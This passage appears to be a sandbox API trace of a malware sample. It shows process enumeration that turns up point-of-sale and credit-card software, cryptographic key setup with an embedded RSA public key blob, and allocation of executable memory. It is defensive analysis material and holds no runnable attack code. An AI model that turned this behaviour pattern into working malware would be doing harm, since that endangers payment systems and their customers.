	[0060.683] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0060.684] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0060.685] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0060.686] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0060.686] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0060.687] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0060.688] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0060.689] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0060.690] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0060.690] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0060.691] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0060.692] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="rfthunder.exe")) returned 1
	[0060.693] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="home_containing_gourmet.exe")) returned 1
	[0060.694] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0060.694] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0060.695] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0060.695] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0060.696] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0060.697] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="oiikyy.exe")) returned 1
	[0060.697] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="oiikyy.exe")) returned 0
	[0060.698] CloseHandle (hObject=0xe8) returned 1
	[0060.698] lstrlenW (lpString="") returned 0
	[0060.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x366638
	[0060.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362cc0
	[0060.703] CryptAcquireContextA (in: phProv=0x18de88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18de88*=0x363d38) returned 1
	[0061.519] RtlWakeAllConditionVariable () returned 0x0
	[0061.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x360e28
	[0061.519] CryptAcquireContextA (in: phProv=0x360e28, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x360e28*=0x3660b0) returned 1
	[0061.521] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362cc0 | out: pbBuffer=0x362cc0) returned 1
	[0061.521] CryptReleaseContext (hProv=0x363d38, dwFlags=0x0) returned 1
	[0061.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362cc0 | out: hHeap=0x300000) returned 1
	[0061.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x366ee8
	[0061.528] QueryPerformanceCounter (in: lpPerformanceCount=0x18ddf4 | out: lpPerformanceCount=0x18ddf4*=18157380174) returned 1
	[0061.584] LoadLibraryExW (lpLibFileName="api-ms-win-core-sysinfo-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0061.584] GetLastError () returned 0x57
	[0061.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18de34 | out: lpSystemTimeAsFileTime=0x18de34*(dwLowDateTime=0x91efe490, dwHighDateTime=0x1d60e1e)) 
	[0061.588] VirtualAlloc (lpAddress=0x0, dwSize=0x60e, flAllocationType=0x3000, flProtect=0x40) returned 0x290000
	[0061.621] VirtualFree (lpAddress=0x290000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0061.621] CryptAcquireContextW (in: phProv=0x18dcd4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18dcd4*=0x363d38) returned 1
	[0061.622] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.625] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.625] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.625] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.625] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.625] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.625] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.625] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.625] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
